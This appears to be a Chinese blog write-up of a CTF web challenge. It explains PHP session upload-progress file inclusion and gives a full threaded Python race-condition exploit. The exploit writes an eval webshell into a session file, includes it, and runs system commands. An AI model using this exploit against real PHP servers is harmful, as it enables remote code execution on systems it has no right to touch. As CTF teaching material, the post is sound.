Gentle_knife's Studio.

session 与条件竞争——[HNCTF 2022]QAQ_1inclu4e

Word count: 1.2kReading time: 4 min
2025/07/09
loading

session利用的小思路

前置知识点:session

当我们访问一个网站, PHP 发现你是新用户,就会给你创建一个 Session 文件, 用来存储用户登录信息、状态等,比如:

sess_cy(文件名格式是 sess_+PHPSESSID 的值)

文件默认存在 /tmp/ 目录下,也可以通过 php.ini 的 session.save_path 配置改位置。

然后服务器响应时会告诉浏览器:

1
Set-Cookie: PHPSESSID=cy

浏览器记住了,所以后面每次访问,服务器都会自动在每次请求里带上:

1
Cookie: PHPSESSID=cy

这样服务器就知道你是谁,对应哪个 session 文件。

所以 cookie 是服务器让浏览器带的,浏览器只是听话地照做而已

隐藏功能:上传进度记录(upload_progress)

这个功能默认是关闭的,但如果管理员打开了这些设置:

1
2
3
4
5
6
7
session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!!


session.use_strict_mode = off //这个选项默认值为off,表示我们对Cookie中sessionid可控!!!
session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录

那 PHP 会在用户上传文件的时候,自动把上传进度(上传了多少、文件名是啥等)写进 session 文件里

而你可以通过设置一个 POST 参数:

1
PHP_SESSION_UPLOAD_PROGRESS = 你想写入session文件的内容

这样,PHP 就会把你这段值写入 session 文件里。

比如,我们在cookie里设置PHPSESSID=AndyNoel,就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件:sess_AndyNoel。即便没有设置自动初始化session,php也会产生session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被一起写入sess_文件里。

回到题目

img

一进去是这样,很容易能猜出来 QAQ 是参数吧?

img

经过测试,过滤了

1
. : php flag data log

基本上杀死了伪协议和日志文件

那么我们可以通过 QAQ 这个上传接口,构造特殊的 POST 请求,让 PHP 自动写入木马。

根据 PHP 的配置,当session.upload_progress.enabled = On 的时候,如果满足下面两个条件:

  • 请求里有参数名是:PHP_SESSION_UPLOAD_PROGRESS
  • 请求里真的上传了文件

那么 PHP 会把上传过程的信息,自动写进当前用户的 session 文件, 但是当文件上传完毕之后,PHP 会自动删除 session 里的上传进度信息,所以我们要利用请求还没响应,session 还没被清理这个时间差,抢先包含 sess 文件执行。

我们的思路大概是:

上传文件 ➜ 写入 session 文件 ➜ include sess 文件 ➜ 远程执行命令

那么我们写脚本的思路就是,先随便上传一个文件,再在请求头PHP_SESSION_UPLOAD_PROGRESS写自己的一句话木马,在 cookie 里面写 session 参数,对应访问时候的文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import threading
import io

sess_id = 'test' # 自己设定的session ID
url = 'http://node5.anna.nssctf.cn:21978/'

files = io.BytesIO(b'a' * 1024 * 50 ) #造一个50kb大小的假文件
data = {
'PHP_SESSION_UPLOAD_PROGRESS':'test<?php eval($_POST[1]);?>test' # 这里直接上一句话木马识别不出来
}
cookie = {
'PHPSESSID': sess_id,
}
file = {
'file': ('test.jpg', files) # 上传文件字段,必须要有才能触发 upload_progress
}

def write(session):
while True:
response = session.post(url, data=data, cookies=cookie, files=file) # 发请求

这是上传文件,让 PHP 写入对应的 session 文件。

接下来我们写向对于知道路径的 PHP 文件发请求的函数:

1
2
3
4
5
6
7
8
def read(session):
while True:
url_with_param = f"{url}?QAQ=/tmp/sess_{sess_id}"
post_data = {"1": "system('tac /var/ffflllaaagggflag');"} #这里命令自己改
response = session.post(url_with_param, data=post_data, cookies=cookie)
if response.status_code == 200:
print(response.text)
event.clear() # 把信号关掉

最后写

1
2
3
4
5
6
7
if __name__ == '__main__':
event = threading.Event() # 创建一个控制线程的“信号”变量
with requests.Session() as session: # 创建一个带状态的 session
for i in range(5): # 创建 5 个线程,负责不停上传
thread = threading.Thread(target=write, args =(session,)).start()
for i in range(5):
thread = threading.Thread(target=read, args=(session,)).start()

总结:session 文件包含的利用条件

  1. 存在文件包含漏洞
  2. 知道session文件存放路径,可以尝试默认路径
  3. 具有读取和写入session文件的权限
CATALOG
  1. 1. 前置知识点:session
  2. 2. 隐藏功能:上传进度记录(upload_progress)
  3. 3. 回到题目
  4. 4. 总结:session 文件包含的利用条件